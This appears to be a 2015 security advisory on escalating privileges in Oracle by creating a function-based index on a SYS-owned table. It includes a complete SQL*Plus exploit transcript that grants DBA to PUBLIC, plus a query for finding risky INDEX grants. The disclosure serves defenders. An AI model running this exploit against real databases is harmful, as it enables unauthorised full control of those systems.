Privilege Escalation

via

Oracle Indexes

David Litchfield [david.litchfield@datacom.com.au]

21st January 2015

Introduction

To speed up querying of large datasets most database servers allow table data to be indexed. In Oracle, in order to be able to create an index on a table, the user must either own the table, or have the INDEX object privilege on the table, or have the CREATE ANY INDEX system privilege. If a user has either of these privileges, then a security hole is opened up whereby they can execute arbitrary SQL as the owner of the table by creating a function-based index on the table. If the table in question is owned by a highly privileged user such as SYS or SYSTEM then the database server becomes dangerously exposed as it provides the attacker the ability to fully compromise the system.

The PUBLIC role has (in the past) been granted the INDEX privilege on the following tables, product and options dependant:

SYS.DUAL

SYS.OLAPTABLEVELS

SYS.OLAPTABLEVELTUPLES

SYSTEM.OLAP_SESSION_CUBES

SYSTEM.OLAP_SESSION_DIMS

SYSTEM.PLAN_TABLE

FLOWS_FILES.WWV_FLOW_FILE_OBJECT$

TOAD.TOAD_PLAN_TABLE

Details

The following transcript demonstrates how an attacker can leverage the INDEX privilege to execute arbitrary SQL. Assume there is a table called FOO owned by SYS and PUBLIC has been granted the INDEX privilege on it. A user called TSS connects to the database server and attempts to set the DBA role which fails as TSS has not been granted membership of this role. The TSS user will gain DBA privileges by exploiting the INDEX flaw. First TSS creates a function called GETDBA that will perform the work. Next TSS creates an index called EXPLOIT_INDEX on the SYS.FOO table that calls the GETDBA function. Next, TSS selects from the DUAL table which causes the EXPLOIT_INDEX index to execute the GETDBA function with SYS privileges. The GETDBA function contains the SQL to GRANT the DBA role to the PUBLIC role. Once this has been done, the TSS user can set the DBA role. In doing so the TSS user now has complete control over the database.

```
SQL> connect tss/password

Connected.

SQL> set role dba;

set role dba

*

ERROR at line 1:

ORA-01924: role 'DBA' not granted or does not exist

SQL> CREATE OR REPLACE FUNCTION GETDBA(FOO VARCHAR) RETURN VARCHAR DETERMINISTIC AUTHID
CURRENT_USER IS

  2  PRAGMA AUTONOMOUS_TRANSACTION;

  3  BEGIN

  4  EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC';

  5  COMMIT;

  6  RETURN 'FOO';

  7  END;

  8  /

Function created.

SQL> GRANT EXECUTE ON GETDBA TO PUBLIC;

Grant succeeded.

SQL>

SQL> CREATE INDEX EXPLOIT_INDEX ON SYS.FOO(TSS.GETDBA(BAR));

Index created.

SQL> select * from sys.foo;

B

-

X

SQL> set role dba;
```

```
Role set.

SQL>
```

Reducing risk

To prevent exploitation, revoke the INDEX privilege from users that don't, as a strict business requirement, require it. To find all such grants, execute the following query:

```
SQL> SELECT OWNER||'.'||TABLE_NAME||':'||GRANTEE FROM DBA_TAB_PRIVS WHERE
PRIVILEGE = 'INDEX' AND GRANTEE!=OWNER ORDER BY 1;
```

References

"Black Hat USA 2012" – "Find me in your database – An Examination of Index Security"
https://www.youtube.com/watch?v=z0ccYgcBSGg